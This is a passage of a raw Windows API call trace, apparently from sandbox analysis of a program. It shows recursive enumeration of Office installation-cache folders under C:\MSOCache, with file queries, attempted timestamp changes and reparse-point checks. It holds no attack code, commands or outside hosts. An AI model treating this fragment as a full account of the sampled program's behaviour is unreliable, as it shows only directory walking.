Size=0x80) returned 0xf7f258 [0040.880] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83c88 [0040.880] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0040.880] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89708 [0040.880] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9b568 [0040.881] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.881] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="")) returned 1 [0040.881] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.881] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.881] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.881] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.881] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.881] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89728 [0040.881] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9b670 [0040.882] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.883] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0040.883] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.883] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.883] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.883] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.883] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.883] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89748 [0040.884] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9b778 [0040.885] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.885] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.885] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89768 [0040.889] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9b880 [0040.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.890] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0040.890] GetLastError () returned 0x12 [0040.890] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0a0 [0040.890] FindClose (in: hFindFile=0x60d0e0 | out: hFindFile=0x60d0e0) returned 1 [0040.890] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.890] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="")) returned 1 [0040.890] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="")) returned 1 [0040.890] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0040.890] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.890] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0040.890] GetLastError () returned 0x12 [0040.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83b80) returned 1 [0040.890] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0040.891] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83c88) returned 1 [0040.891] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0040.891] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.891] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0040.971] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0040.971] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0040.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89e90 [0040.971] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89e90, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xf89e90, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0040.971] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89e90) returned 1 [0040.971] NtClose (Handle=0x180) returned 0x0 [0040.971] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0040.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0040.971] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83c88 [0040.971] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0a0 [0041.034] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.034] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="")) returned 1 [0041.034] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.034] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.034] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.034] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.034] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.034] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83b80 [0041.034] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0041.034] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89788 [0041.034] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9b988 [0041.035] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.035] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="")) returned 1 [0041.035] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.035] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.035] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.035] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.035] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.035] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf897a8 [0041.035] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9ba90 [0041.035] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.035] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0041.035] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.035] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.035] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.035] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.035] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.035] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf897c8 [0041.035] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9bb98 [0041.035] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.035] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0041.035] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.035] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.035] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.035] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.035] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.035] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf897e8 [0041.035] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9bca0 [0041.035] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.035] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0041.035] GetLastError () returned 0x12 [0041.035] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0e0 [0041.036] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0041.036] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.036] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="")) returned 1 [0041.036] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="")) returned 1 [0041.036] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0041.036] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0041.036] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0041.036] GetLastError () returned 0x12 [0041.036] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83c88) returned 1 [0041.036] FindClose (in: hFindFile=0x60d0e0 | out: hFindFile=0x60d0e0) returned 1 [0041.037] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83b80) returned 1 [0041.037] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0041.037] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0041.037] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.037] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0041.053] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0041.053] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0041.053] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89e90 [0041.053] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89e90, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xf89e90, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0041.054] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89e90) returned 1 [0041.054] NtClose (Handle=0x188) returned 0x0 [0041.054] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.054] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.054] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0041.054] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0041.054] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.054] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83b80 [0041.054] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All 